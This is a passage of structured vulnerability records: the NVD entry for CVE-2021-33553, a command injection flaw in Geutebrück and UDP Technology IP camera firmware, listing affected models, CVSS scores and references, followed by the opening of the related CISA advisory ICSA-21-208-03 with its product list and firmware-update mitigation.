"lastModifiedDate": "2022-11-21T19:36Z",
"publishedDate": "2021-09-13T18:15Z"
}
}
}
FKIE_CVE-2021-33553
Vulnerability from fkie_nvd - Published: 2021-09-13 18:15 - Updated: 2024-11-21 06:097.2 (High) - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
| URL | Tags | ||
|---|---|---|---|
| info@cert.vde.com | https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03 | Third Party Advisory, US Government Resource | |
| info@cert.vde.com | https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/ | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03 | Third Party Advisory, US Government Resource | |
| af854a3a-2127-422b-91ae-364da2661108 | https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/ | Exploit, Third Party Advisory |
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "D112B35C-B264-40A0-83D1-E55B9036913A",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "22660A4B-ABFC-466D-9E0C-2EF4BD7A98F2",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "1E6939CF-1255-4E41-9199-B20471BDE977",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ebc-2110:*:*:*:*:*:*:*:*",
"matchCriteriaId": "181CBC12-DCC7-49AB-A9EC-8581D14333D6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "CFC70BCD-CBC1-4556-93C2-BAA4A5E0AE3D",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "8FB8A43B-E79D-4AC2-83ED-C29AAEA35E89",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "EC4847BD-E880-42DD-8A93-64042F286DFC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ebc-2111:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F93DB9C2-07FA-4EE6-B079-0189E73C4033",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "11754F1F-D3C6-490D-BA6E-AB5B17460F1E",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "E75EFC79-4453-4D6F-81A7-F0954EBCBA63",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "AED71348-C669-44DD-8670-9361D77F4995",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_efd-2241:*:*:*:*:*:*:*:*",
"matchCriteriaId": "571918FA-7A65-4DED-83BD-4EBB73417430",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F5230A0E-1D52-4C82-AB2A-FD4C5714AA6E",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "5B2BC819-B425-41D2-BEDE-943B5D4781B1",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "966334C5-628B-444F-8992-2DB8857BE797",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_efd-2250:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C0D67535-75F6-4467-9834-FBEFE5E9CB4B",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "498E6BC9-3B2C-4F7C-9A76-7DDA3CE55E62",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "F1438441-4FDD-4C13-A230-EFE53DF8BBBB",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "4E5DEF62-A9EA-46A8-8BE2-603356F50493",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ethc-2230:*:*:*:*:*:*:*:*",
"matchCriteriaId": "8B1A2A83-64B9-44D5-9BCC-0DB4ED628F7B",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "985CAD50-895C-4DFB-A41F-77A44C44D8B5",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "DCF30D97-6FC0-4D80-B8A4-B24078FDBA4C",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "843E4BCD-598B-457E-BB4F-17F29052C27B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ethc-2239:*:*:*:*:*:*:*:*",
"matchCriteriaId": "35C88F5F-1340-41B6-85E0-84954A3E2C0F",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "DB0BB4B5-FFB9-40C2-B1E5-D1ECBFA550F3",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "0374A073-CAC4-4137-94DE-50035DC52DB6",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "6AFF5C0B-9493-4B7C-983F-EC3418B52DB8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ethc-2240:*:*:*:*:*:*:*:*",
"matchCriteriaId": "ACDA66D2-4E05-48F3-A710-30FB1BFBB22E",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "886C810D-2D03-45C1-BBFB-1A290374EE92",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "D7851EE3-21FB-4447-A5B7-DFAFC335845B",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "FB0CDFBB-DA48-4E41-BDA2-01179AF04EA2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ethc-2249:*:*:*:*:*:*:*:*",
"matchCriteriaId": "5EB8C61F-AA77-4D33-9BCB-D1F01020E47C",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "C67E1A48-7907-448A-9E29-6964BEA54AA6",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "16E2C1A4-E048-4DB8-8FB2-B020AD1F37F4",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "0FA3BBD7-77C8-4E78-81EC-EF0B3123F75D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2270:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F7E4E8B5-D432-471D-A612-86AA7B83E49D",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "F2AFB104-E3B2-4CBF-93A7-13DD14A509DD",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "B1DDDFD1-0428-4909-8079-D696D45ECED8",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "894AB862-E9E5-4E7B-A3FC-945C315911A6",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-code_eec-2400:*:*:*:*:*:*:*:*",
"matchCriteriaId": "729D81B8-66E8-44D9-B794-ED4A8E869E10",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "3808D6AA-3D02-44F1-8914-018BB17B2429",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "DC42C86C-8DAC-469C-9A6C-41F1D6E48891",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "70924709-F815-4E43-9FCC-BAFFF7154DAF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-code_een-2010:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E71CBF86-3629-4F90-837F-DB9907AE2058",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "6ADD66ED-4A4C-4B95-95CA-A116AAB52C5E",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "A527F7AB-0434-4BC4-95EF-E1F18BDAC2B0",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "E23967D9-54C1-40C8-AB9F-61BAF2EAF9E3",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-code_een-2040:*:*:*:*:*:*:*:*",
"matchCriteriaId": "4FB10D7B-5FA5-486E-AE01-D96B901036A4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E6F25262-F719-4B70-8782-F23FB546A140",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "AF81F56A-6D0A-4294-937F-C4F82259F538",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "2395E255-6FA5-4C74-938B-F94A20B02943",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ebc-2112:*:*:*:*:*:*:*:*",
"matchCriteriaId": "1A7FEC97-E87B-47A8-A171-0CF22EAD54D8",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "4D534DDA-8AD5-4FCC-BBA3-499F20230506",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "670D86CA-F192-49C0-B7BA-580A94A5DF59",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "4A5D0DDC-5C4C-4948-ADF9-0A2D40D7E8FF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_efd-2251:*:*:*:*:*:*:*:*",
"matchCriteriaId": "424F7E3B-565A-4E9B-942E-C241A08FAF33",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E0BCBCFE-CAFF-4C12-99BB-39A6A0B86A7A",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "41D9C92C-BDAB-4062-A9EF-A1CF4BA19F0C",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "FE138FC3-80A6-45F1-8AD2-EA5842351B67",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2275:*:*:*:*:*:*:*:*",
"matchCriteriaId": "2F2AC61F-6C50-4B2F-A260-4FB128BFC956",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:*:*:*:*:*:*:*:*",
"matchCriteriaId": "EC9252C6-B2F6-4476-8294-98695218D26B",
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.13.2:*:*:*:*:*:*:*",
"matchCriteriaId": "2C5A8920-DC4C-4E7A-8A09-95987B81C1B7",
"vulnerable": true
},
{
"criteria": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.14.5:*:*:*:*:*:*:*",
"matchCriteriaId": "4328D71C-125E-414D-BFE9-F83C5B5AB646",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2271:*:*:*:*:*:*:*:*",
"matchCriteriaId": "62EB57D9-0F72-40CD-A776-68121B19D06B",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code."
},
{
"lang": "es",
"value": "M\u00faltiples dispositivos de c\u00e1mara de UDP Technology, Geutebr\u00c3\u00bcck y otros proveedores, son vulnerables a una inyecci\u00f3n de comandos, que puede permitir a un atacante ejecutar c\u00f3digo arbitrario remotamente"
}
],
"id": "CVE-2021-33553",
"lastModified": "2024-11-21T06:09:04.980",
"metrics": {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.0,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "info@cert.vde.com",
"type": "Secondary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Secondary"
}
]
},
"published": "2021-09-13T18:15:23.597",
"references": [
{
"source": "info@cert.vde.com",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
},
{
"source": "info@cert.vde.com",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
}
],
"sourceIdentifier": "info@cert.vde.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "info@cert.vde.com",
"type": "Secondary"
},
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
],
"source": "nvd@nist.gov",
"type": "Secondary"
}
]
}
ICSA-21-208-03
Vulnerability from csaf_cisa - Published: 2021-07-27 00:00 - Updated: 2021-07-27 00:00{
"document": {
"acknowledgments": [
{
"names": [
"Titouan Lazard",
"Ibrahim Ayadhi"
],
"organization": "RandoriSec",
"summary": "reporting these vulnerabilities to CISA"
}
],
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Disclosure is not limited",
"tlp": {
"label": "WHITE",
"url": "https://us-cert.cisa.gov/tlp/"
}
},
"lang": "en-US",
"notes": [
{
"category": "general",
"text": "This CSAF advisory was extracted from unstructured data and may contain inaccuracies. If you notice any errors, please reach out to the designated contact at CISA CSAF: central@cisa.dhs.gov",
"title": "CISA Disclaimer"
},
{
"category": "legal_disclaimer",
"text": "All information products included in https://us-cert.cisa.gov/ics are provided \"as is\" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained within. DHS does not endorse any commercial product or service, referenced in this product or otherwise. Further dissemination of this product is governed by the Traffic Light Protocol (TLP) marking in the header. For more information about TLP, see https://us-cert.cisa.gov/tlp/.",
"title": "Legal Notice"
},
{
"category": "summary",
"text": "UDP Technology supplies multiple OEMs such as Geutebr\u00fcck with firmware for IP cameras. Successful exploitation of these vulnerabilities could allow unauthenticated access to sensitive information; buffer overflow and command injection conditions may allow remote code execution.",
"title": "Risk evaluation"
},
{
"category": "other",
"text": "Commercial Facilities, Energy, Financial Services, Government Facilities, Healthcare and Public Health, Transportation Systems",
"title": "Critical infrastructure sectors"
},
{
"category": "other",
"text": "Worldwide",
"title": "Countries/areas deployed"
},
{
"category": "other",
"text": "Germany",
"title": "Company headquarters location"
},
{
"category": "general",
"text": "CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\nCISA also provides a section for control systems security recommended practices on the ICS webpage onus-cert.cisa.gov. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.",
"title": "Recommended Practices"
},
{
"category": "general",
"text": "Additional mitigation guidance and recommended practices are publicly available on the ICS webpage on us-cert.cisa.gov in the Technical Information Paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.",
"title": "Recommended Practices"
}
],
"publisher": {
"category": "coordinator",
"contact_details": "Email: CISAservicedesk@cisa.dhs.gov;\n Toll Free: 1-888-282-0870",
"name": "CISA",
"namespace": "https://www.cisa.gov/"
},
"references": [
{
"category": "self",
"summary": "ICS Advisory ICSA-21-208-03 JSON",
"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/OT/white/2021/icsa-21-208-03.json"
},
{
"category": "self",
"summary": "ICS Advisory ICSA-21-208-03 Web Version",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-21-208-03"
},
{
"category": "external",
"summary": "Recommended Practices",
"url": "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf"
},
{
"category": "external",
"summary": "Recommended Practices",
"url": "https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B"
}
],
"title": "Geutebr\u00fcck G-Cam E2 and G-Code",
"tracking": {
"current_release_date": "2021-07-27T00:00:00.000000Z",
"generator": {
"engine": {
"name": "CISA CSAF Generator",
"version": "1.0.0"
}
},
"id": "ICSA-21-208-03",
"initial_release_date": "2021-07-27T00:00:00.000000Z",
"revision_history": [
{
"date": "2021-07-27T00:00:00.000000Z",
"legacy_version": "Initial",
"number": "1",
"summary": "ICSA-21-208-03 Geutebr\u00fcck G-Cam E2 and G-Code"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "EFD-22xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0001"
}
}
],
"category": "product_name",
"name": "EFD-22xx"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "ETHC-22xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0002"
}
}
],
"category": "product_name",
"name": "ETHC-22xx"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "EWPC-22xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0003"
}
}
],
"category": "product_name",
"name": "EWPC-22xx"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "EBC-21xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0004"
}
}
],
"category": "product_name",
"name": "EBC-21xx"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "EEC-2xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0005"
}
}
],
"category": "product_name",
"name": "EEC-2xx"
},
{
"branches": [
{
"category": "product_version_range",
"name": "\u003c= 1.12.0.27 | 1.12.13.2 | 1.12.14.5",
"product": {
"name": "EEN-20xx: Versions 1.12.0.27 and prior Versions 1.12.13.2 and 1.12.14.5",
"product_id": "CSAFPID-0006"
}
}
],
"category": "product_name",
"name": "EEN-20xx"
}
],
"category": "vendor",
"name": "Geutebr\u00c3\u00bcck"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2021-33543",
"cwe": {
"id": "CWE-306",
"name": "Missing Authentication for Critical Function"
},
"notes": [
{
"category": "summary",
"text": "The affected product allows unauthenticated remote access to sensitive files due to default user authentication settings.CVE-2021-33543 has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"title": "Vulnerability Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
]
},
"references": [
{
"category": "external",
"summary": "web.nvd.nist.gov",
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-33543"
},
{
"category": "external",
"summary": "www.first.org",
"url": "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
}
],
"remediations": [
{
"category": "mitigation",
"details": "Geutebr\u00fcck strongly recommends updating all affected cameras and encoders listed above to firmware Version 1.12.14.7 or later. The security advisory and the latest firmware can both be acquired on Geutebr\u00fcck\u0027s web portal (Login required).",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
"CSAFPID-0003",
"CSAFPID-0004",
"CSAFPID-0005",
"CSAFPID-0006"
],
"url": "https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fportal.geutebrueck.com%2F\u0026data=04%7C01%7Cpaul.lambert%40inl.gov%7Cf980cf8ed61e45ce028808d9505ef3d2%7C4cf464b7869a42368da2a98566485554%7C0%7C0%7C637629191029853114%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000\u0026sdata=8UP9NuwqOke19wr7iDG2ZjnJt33fyYNXLb3FeAZCPJ0%3D\u0026reserved=0"
},
{
"category": "mitigation",
"details": "If updates cannot be deployed, Geutebr\u00fcck recommends taking the following defensive measures to minimize the risk of exploitation of these vulnerabilities:",
"product_ids": [
"CSAFPID-0001",
"CSAFPID-0002",
